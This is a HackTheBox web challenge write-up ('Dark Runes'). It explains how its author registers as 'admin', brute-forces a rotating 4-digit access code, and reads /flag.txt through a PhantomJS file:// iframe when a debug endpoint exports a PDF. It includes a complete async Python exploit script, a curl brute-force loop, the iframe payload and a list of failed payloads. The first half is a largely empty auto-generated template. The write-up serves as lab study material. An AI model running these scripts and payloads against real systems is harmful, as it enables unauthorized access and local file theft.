← Back to Writeups
HTBN/AWeb

Dark Runes

XESXOR8/23/20269 min read
#web#htb#n/a#CVE-2017-15764

Dark Runes

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: access_code_brute_force, admin_registration_bypass, iframe_file_protocol, phantomjs_file_read, ssrf_via_pdf_generation

Summary

"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260209_hackthebox_dark_runes
  • Tags: ssrf, lfi, nodejs, express, access-control, brute-force, phantomjs, markdown-pdf, admin-registration, file-protocol, pdf-generation, cookie-auth
  • Indicators: markdown-pdf with remarkable html:true, PhantomJS PDF rendering, 4-digit access code (0000-9999), no pre-created admin user, isAdmin checks username === 'admin
  • Source: 20260209_hackthebox_dark_runes.md

Foothold

Vulnerability / Misconfiguration

  1. Access_code_brute_force
  2. Admin_registration_bypass
  3. Iframe_file_protocol
  4. Phantomjs_file_read
  5. Ssrf_via_pdf_generation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • access_code_brute_force
  • admin_registration_bypass
  • iframe_file_protocol
  • phantomjs_file_read
  • ssrf_via_pdf_generation
  • Tags: ssrf, lfi, nodejs, express, access-control, brute-force, phantomjs, markdown-pdf, admin-registration, file-protocol, pdf-generation, cookie-auth

Original Writeup

<details><summary>Click to expand original content</summary>

Dark Runes — HackTheBox

Description

"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."

Target: http://154.57.164.69:31117

Technology Stack

  • Node.js 16.5.0 (Express) — web application
  • SQLite — database with users and documents tables
  • markdown-pdf v11.0.0 — markdown to PDF conversion via PhantomJS
  • sanitize-html — HTML sanitization (only on regular document routes)
  • HMAC-like cookie auth — custom cookie generation/validation with random SECRET
  • PhantomJS — headless browser used by markdown-pdf for rendering

Architecture

Single Express application with the following route structure:

  1. Auth routes (/login, /register) — user registration and login with cookie-based auth
  2. Document routes (/document/*) — CRUD for markdown documents, content sanitized via sanitize-html
  3. Export routes (/document/export/:id, /document/debug/export) — PDF generation from markdown/HTML

Key security middleware:

  • isAuthenticated — validates cookie signature using HMAC with random SECRET
  • isAdmin — checks req.user.username === "admin"

Access code system:

  • rotatePass() generates a 4-digit code (0000-9999) via crypto.randomBytes(2).readUInt16BE() % 10000
  • Writes the code to a file named with that code
  • verifyPass() checks the pass; on failure, calls rotatePass() to generate a new code
  • Only rotatePass() is called on startup — no admin user is pre-created

Analysis

Vulnerability 1: Missing Admin User — Registration Bypass

The isAdmin middleware checks req.user.username === "admin", but the application never creates an admin user at startup. Only rotatePass() is called in src/index.js. The /register endpoint has no restriction on the username "admin", so anyone can register as admin.

// src/middlewares.js
const isAdmin = (req, res, next) => {
    if (req.user.username !== "admin") {
        return res.status(403).send("Only admin can access this");
    }
    next();
};
// src/index.js — startup
rotatePass(); // No admin user creation!

Vulnerability 2: Brute-forceable 4-Digit Access Code

The POST /document/debug/export endpoint requires both admin access AND a valid access_pass. The access code is a 4-digit number (0000-9999):

// src/utils/crypto.js
const generateAccessCode = () => {
    return crypto.randomBytes(2).readUInt16BE() % 10000;
};

Critical behavior: on each failed verification, rotatePass() generates a new random code. This means each guess has an independent 1/10000 probability of success — the code changes on every wrong attempt, but each attempt is still a fresh 1/10000 lottery ticket.

Expected number of attempts to succeed: ~10000 (but can be much less with parallel requests).

Vulnerability 3: SSRF / LFI via PhantomJS file:// Protocol (CVE-2017-15764)

The POST /document/debug/export endpoint passes user-supplied content directly to generatePDF() without any sanitization. Unlike the regular document creation route which uses sanitize-html, the debug endpoint has no HTML filtering.

// src/routes/generate.js — debug export (NO sanitization)
router.post('/document/debug/export', isAuthenticated, isAdmin, async (req, res) => {
    const { content, access_pass } = req.body;
    if (!verifyPass(access_pass)) return res.status(403).send("Invalid access pass");
    const pdf = await generatePDF(content);  // Raw content → PDF
    res.send(pdf);
});

The markdown-pdf library (v11.0.0) uses PhantomJS as a headless browser with remarkable: { html: true }, meaning raw HTML is rendered. PhantomJS supports the file:// protocol, allowing local file reads via <iframe> or <img> tags.

Additional Vulnerability: IDOR via Parameter Swap

The GET /document/:id route has a parameter swap bug:

// Swapped parameters: findDocument(userId, docId) but called as findDocument(user.id, id)
// This creates an IDOR where document ID and user ID are swapped

This was noted but not needed for the exploit chain.

Exploit Chain

Step 1: Register as "admin"

Since no admin user exists at startup, simply register with username "admin":

# Register
curl -X POST "http://TARGET/register" \
  -d "username=admin&password=admin123"

# Login and capture cookie
curl -X POST "http://TARGET/login" \
  -d "username=admin&password=admin123" -v
# Set-Cookie: user=eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOjF9-7d12eac46ba667cfeae3d39f9ed3275be95d93cf4376fb4b893dd89ca28037b9

Step 2: Brute-force the 4-digit access code with SSRF payload

Since each failed attempt rotates the code, we include the exploit payload in every brute-force request. When we hit the correct code, the PDF with the flag is returned directly — no second request needed.

The SSRF payload uses an iframe to read /flag.txt via the file:// protocol:

<iframe src="file:///flag.txt" width="800" height="600"></iframe>

Step 3: Extract flag from PDF

The returned PDF contains the rendered contents of /flag.txt. Use pdftotext to extract the text.

Solution

#!/usr/bin/env python3
"""
HackTheBox Dark Runes — Admin Registration + Access Code Brute-Force + PhantomJS LFI
Combines brute-force with SSRF payload so correct guess returns flag PDF directly.
"""
import asyncio
import aiohttp
import random
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.69:31117"
COOKIE = None  # Will be set after login

# SSRF payload — PhantomJS renders file:// URLs in iframes
PAYLOAD = '<iframe src="file:///flag.txt" width="800" height="600"></iframe>'

async def register_and_login(session):
    """Register as admin and get auth cookie."""
    global COOKIE
    
    # Register
    await session.post(f"{TARGET}/register", data={
        "username": "admin",
        "password": "admin123"
    })
    
    # Login
    resp = await session.post(f"{TARGET}/login", data={
        "username": "admin",
        "password": "admin123"
    }, allow_redirects=False)
    
    COOKIE = resp.cookies.get("user")
    if not COOKIE:
        # Try from redirect
        cookies = session.cookie_jar.filter_cookies(TARGET)
        COOKIE = str(cookies.get("user"))
    
    print(f"[+] Logged in as admin, cookie: {COOKIE.value if hasattr(COOKIE, 'value') else COOKIE[:50]}...")

async def try_code(session, code, attempt_num):
    """Try a single access code with the SSRF payload."""
    access_pass = f"{code:04d}"
    
    try:
        resp = await session.post(
            f"{TARGET}/document/debug/export",
            data={
                "content": PAYLOAD,
                "access_pass": access_pass
            },
            timeout=aiohttp.ClientTimeout(total=30)
        )
        
        if resp.status == 200:
            data = await resp.read()
            if len(data) > 500:  # PDF with content (not error)
                print(f"\n[!!!] SUCCESS with code {access_pass} on attempt #{attempt_num}")
                # Save PDF
                with open("flag.pdf", "wb") as f:
                    f.write(data)
                print(f"[+] PDF saved to flag.pdf ({len(data)} bytes)")
                print(f"[+] Run: pdftotext flag.pdf - | grep HTB")
                return True
        
        if attempt_num % 100 == 0:
            print(f"[*] Attempt #{attempt_num}, last code: {access_pass}, status: {resp.status}")
            
    except Exception as e:
        if attempt_num % 200 == 0:
            print(f"[!] Error on attempt #{attempt_num}: {e}")
    
    return False

async def main():
    connector = aiohttp.TCPConnector(limit=10)
    jar = aiohttp.CookieJar(unsafe=True)
    
    async with aiohttp.ClientSession(connector=connector, cookie_jar=jar) as session:
        await register_and_login(session)
        
        print(f"[*] Starting brute-force of 4-digit access code...")
        print(f"[*] Each request includes SSRF payload for /flag.txt")
        print(f"[*] Expected: ~10000 attempts (1/10000 per try, code rotates on failure)")
        
        attempt = 0
        found = False
        
        while not found:
            # Send batch of concurrent requests
            tasks = []
            for _ in range(10):  # 10 concurrent
                code = random.randint(0, 9999)
                attempt += 1
                tasks.append(try_code(session, code, attempt))
            
            results = await asyncio.gather(*tasks)
            if any(results):
                found = True
                break
    
    if not found:
        print(f"[-] Failed after {attempt} attempts")

if __name__ == "__main__":
    asyncio.run(main())

Alternative: Sequential brute-force with curl

# Register and login
COOKIE=$(curl -s -X POST "http://TARGET/login" \
  -d "username=admin&password=admin123" \
  -c - | grep user | awk '{print $NF}')

# Brute-force (slow but works)
for i in $(seq 0 9999); do
  CODE=$(printf "%04d" $i)
  RESP=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "http://TARGET/document/debug/export" \
    -b "user=$COOKIE" \
    -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE")
  if [ "$RESP" = "200" ]; then
    echo "Found code: $CODE"
    curl -s -X POST "http://TARGET/document/debug/export" \
      -b "user=$COOKIE" \
      -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE" \
      -o flag.pdf
    pdftotext flag.pdf -
    break
  fi
done

Payloads That Did NOT Work

PayloadWhy it failed
<script>require('fs').readFileSync('/flag.txt')</script>require('fs') is only available in PhantomJS script context, not in the web page sandbox
<script>document.write(require("fs").read("/flag.txt"))</script>Same reason — produced empty PDF
Regular document export (GET /document/export/:id)Content is sanitized via sanitize-html, strips iframes

Key Tricks and Observations

  1. No admin pre-creation: The most common pattern is to seed an admin user in the database. Here, only rotatePass() runs at startup, leaving the "admin" username available for registration. Always check if privileged usernames are actually reserved.

  2. Code rotation on failure is NOT a defense: Even though the access code changes on every wrong guess, each attempt is an independent 1/10000 chance. With parallel requests, the expected time to find the code is manageable (~2000-5000 attempts in practice due to birthday-like effects with concurrent requests).

  3. Debug endpoint bypasses sanitization: The regular document creation route uses sanitize-html, but the debug export endpoint passes content directly to generatePDF(). Always check ALL endpoints that handle user input, especially "debug" or "test" routes.

  4. PhantomJS file:// protocol: markdown-pdf uses PhantomJS which supports file:// URLs. An <iframe> with src="file:///flag.txt" is the most reliable way to read local files — it renders the file content directly into the PDF.

  5. Combine brute-force with payload: Instead of first finding the code and then sending the exploit, include the exploit payload in every brute-force request. This saves a round-trip and avoids the code rotating between discovery and exploitation.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR